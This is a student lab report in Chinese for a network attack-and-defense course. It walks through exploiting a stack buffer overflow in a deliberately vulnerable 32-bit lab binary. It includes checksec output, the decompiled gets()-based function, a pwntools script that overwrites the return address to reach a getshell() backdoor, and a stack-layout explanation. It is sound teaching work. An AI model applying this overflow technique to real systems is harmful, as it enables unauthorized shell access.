20253916 2025-2026-2 《网络攻防实践》实践9报告
将下载好的文件拖入虚拟机中,我这里使用的是Ubuntu24.04 我的用户名为rain 已经安装了python虚拟环境
同时安装好了pwntools,以及checksec

本次实践的对象是一个名为pwn1的linux可执行文件。
使用soure 进入虚拟python环境

更改二进制可执行文件的访问权限 chmod a+x ./pwn1
使用checksec对该二进制文件进行检查

[*] '/home/rain/Desktop/test/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
文件为32位程序基本保护都没开,将该文件拖到32位IDA中进行分析

f5进行反编译,主函数中只调用了foo()函数双击进行跟进
int __cdecl main(int argc, const char **argv, const char **envp)
{
foo();
return 0;
}
具体foo函数如下所示,使用了gets()函数但并未做长度检测,同时程序默认保护都没开,可以利用栈溢出。
int foo()
{
char s[28]; // [esp+1Ch] [ebp-1Ch] BYREF
gets(s);
return puts(s);
}
s[28]在栈上空间长度为1C,所以覆盖空间为1C+ebp+ret
由于ebp与ret在32位情况下长度均为4字节(4*8=32位)

同时左侧getshell()函数留有后门操作,直接执行了/bin/sh 所以只需要劫持foo()函数的返回地址跳到getshell()函数即可,左侧getshell()函数地址为getshell_addr=0x804847d

foo函数的汇编如下:
.text:08048491 foo proc near ; CODE XREF: main+6↓p
.text:08048491
.text:08048491 s = byte ptr -1Ch
.text:08048491
.text:08048491 ; __unwind {
.text:08048491 push ebp
.text:08048492 mov ebp, esp
.text:08048494 sub esp, 38h
.text:08048497 lea eax, [ebp+s]
.text:0804849A mov [esp], eax ; s
.text:0804849D call _gets
.text:080484A2 lea eax, [ebp+s]
.text:080484A5 mov [esp], eax ; s
.text:080484A8 call _puts
.text:080484AD leave
.text:080484AE retn
.text:080484AE ; } // starts at 8048491
.text:080484AE foo endp
而对于整体攻击流程来讲则是使用
payload=b'a'*0x1c+p32(0)+p32(getshell_addr)
脚本与实验结果如下

from pwn import *
p=process('./pwn1')
context.log_level = 'debug'
elf = ELF('./pwn1')
getshell_addr=0x804847D
payload=b'A'*0x1C+p32(0)+p32(getshell_addr)
p.sendline(payload)
p.interactive()
具体原理如下
void getshell() {
system("/bin/sh");
}
void foo() {
char s[0x1c];
gets(s);
}
int main() {
foo();
return 0;
}
当 main() 调用 foo() 时,程序会执行类似这样的指令:
call foo 不只是跳转到 foo() 函数,它还会先把“返回地址”压入栈中。
返回地址的作用是:
当 foo() 执行结束后,程序知道应该回到哪里继续执行。
3. foo() 函数中的栈结构
进入 foo() 函数后,栈上的结构大致如下:
低地址
+----------------+
| s[0x1c] | 局部变量 s,占 0x1c 字节
+----------------+
| saved ebp | 保存的 ebp,占 4 字节
+----------------+
| return address | 返回地址,占 4 字节
+----------------+
高地址
其中:
s[0x1c] 是局部变量缓冲区
saved ebp 是上一个函数的栈基址
return address 是 foo() 执行结束后要跳回去的位置
而对于payload而言:
b'a' * 0x1c -> 填满 s 缓冲区
p32(0) -> 覆盖 saved ebp,占位
p32(getshell_addr) -> 覆盖返回地址
- 整体攻击流程
整个过程可以理解为:
main()
|
v
foo()
|
v
gets(s)
|
v
输入超长 payload
|
v
覆盖 saved ebp 和 return address
|
v
foo() 执行 ret
|
v
跳转到 getshell()

浙公网安备 33010602011771号